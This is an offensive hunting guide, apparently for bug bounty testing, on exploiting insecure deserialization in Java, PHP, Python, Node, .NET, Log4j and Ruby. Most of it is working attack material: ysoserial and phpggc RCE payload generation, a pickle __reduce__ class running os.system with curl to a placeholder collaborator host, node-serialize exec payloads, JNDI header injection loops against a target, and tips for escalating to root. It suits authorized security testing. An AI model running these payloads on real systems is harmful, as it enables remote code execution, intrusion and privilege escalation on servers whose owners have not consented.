HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
bash# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64) echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 # PHP serialization: O:8:"stdClass":0:{} # Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02 # Apache Shiro: rememberMe cookie present curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe" # Log4j: test user-controlled fields for JNDI interpolation curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie Signals
Content-Type: application/x-java-serialized-object Cookie containing rO0= prefix (Java base64 serialized) Cookie: rememberMe= (Apache Shiro) Cookie: _VIEWSTATE (ASP.NET ViewState without encryption) Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
bash# Install ysoserial wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar # Generate OOB detection payload java -jar ysoserial-all.jar CommonsCollections6 \ 'curl http://COLLAB_HOST/ysoserial' | base64 -w0 # Send as body or cookie java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \ curl -s https://$TARGET/wls-wsat/CoordinatorPortType \ -H "Content-Type: application/x-java-serialized-object" \ --data-binary @- # Apache Shiro exploit (default AES key) python3 shiro_exploit.py -u https://$TARGET/ -c "id"
Phase 2 — PHP Object Injection
bash# Find unserialize() calls in source grep -r "unserialize(" --include="*.php" . # Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";} # Send in cookie, POST param, or hidden form field # If error changes → deserialization confirmed # Craft gadget chain using phpggc git clone https://github.com/ambionics/phpggc php phpggc -l # list chains php phpggc Laravel/RCE5 system id | base64
Phase 3 — Python Pickle
bash# Generate OOB payload python3 -c " import pickle, os, base64 class Exploit(object): def __reduce__(self): return (os.system, ('curl http://COLLAB_HOST/pickle-rce',)) print(base64.b64encode(pickle.dumps(Exploit())).decode()) " # Send as cookie or POST body curl -s https://$TARGET/api/load-model \ -H "Content-Type: application/octet-stream" \ --data-binary @payload.pkl
Phase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no
unserialize()call) — any filesystem function (file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.bashphpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) — pre-5.1 default-unsafe:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) — IIFE marker in any field passed tounserialize():{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
bash# Check if ViewState is unsigned (MAC disabled) # Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC # YSoSerial.Net dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \ -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
Phase 5 — Log4Shell / JNDI
bash# Test all user-controlled inputs COLLAB="COLLAB_HOST" for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" & done # Test POST body fields curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
Phase 6 — Ruby Marshal
bash# Look for Marshal.load in source grep -r "Marshal.load\|Marshal.restore" --include="*.rb" . # Gem::Requirement gadget chain via marshalable objects # Use ruby-advisory-db gadgets
Chain Table
| Deserialization signal | Chain to | Impact |
|---|---|---|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
Automation
bash# OOB listener interactsh-client -v -n 5 # JNDI exploit kit git clone https://github.com/pimps/JNDI-Exploit-Kit
Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.

